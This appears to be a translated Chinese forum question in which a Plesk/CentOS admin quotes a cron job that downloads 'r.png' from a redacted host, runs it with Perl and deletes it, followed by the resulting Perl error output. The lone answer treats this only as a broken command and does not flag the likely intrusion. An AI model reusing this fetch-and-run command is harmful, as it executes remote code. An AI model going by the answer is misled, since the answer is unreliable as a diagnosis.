Plesk、Centos 服务器错误:Croncd /tmp;curl -s -O http://.../r.png;perl r.png;rm -fr r.png

Plesk、Centos 服务器错误:Croncd /tmp;curl -s -O http://.../r.png;perl r.png;rm -fr r.png

我有一个好主意,清理根分区上的一些空间。我以为通过删除一些 Plesk 的语言环境文件以及一些 backup.tar.gz 和logs.tar.gz 就可以安全地阅读所读内容,但我一定是无意中删除了某些内容。我回头查看了该消息,尽管我已删除了地址和任何 IP,但它尝试下载文件的位置位于另一台服务器上。我查看了邮件标头,它是从根帐户发送到根帐户的。我通常不会处理这件事,但通常的人会离开几个星期。

Bareword found where operator expected at r.png line 3, near "403 Forbidden"
    (Missing operator before Forbidden?)
Bareword found where operator expected at r.png line 4, near "</head"
  (Might be a runaway multi-line // string starting on line 3)
    (Missing operator before head?)
Bareword found where operator expected at r.png line 6, near "<p>You don't have permission to access /r"
  (Might be a runaway multi-line // string starting on line 5)
    (Missing operator before r?)
Bareword found where operator expected at r.png line 9, near "<address>Apache"
    (Missing operator before Apache?)
Bareword found where operator expected at r.png line 9, near ") Server"
    (Missing operator before Server?)
Bareword found where operator expected at r.png line 9, near "IP ADDRESS Port"
    (Missing operator before Port?)
Number found where operator expected at r.png line 9, near "Port 80"
    (Do you need to predeclare Port?)
Bareword found where operator expected at r.png line 10, near "</body"
  (Might be a runaway multi-line // string starting on line 9)
    (Missing operator before body?)
syntax error at r.png line 2, near "html>"
Execution of r.png aborted due to compilation errors.

答案1

您正在下载一个 png 文件并使用 perl 执行它。那是行不通的。您也不允许下载 png 文件,因此您实际上是使用 perl 执行生成的 403 错误页面,这也不起作用。

相关内容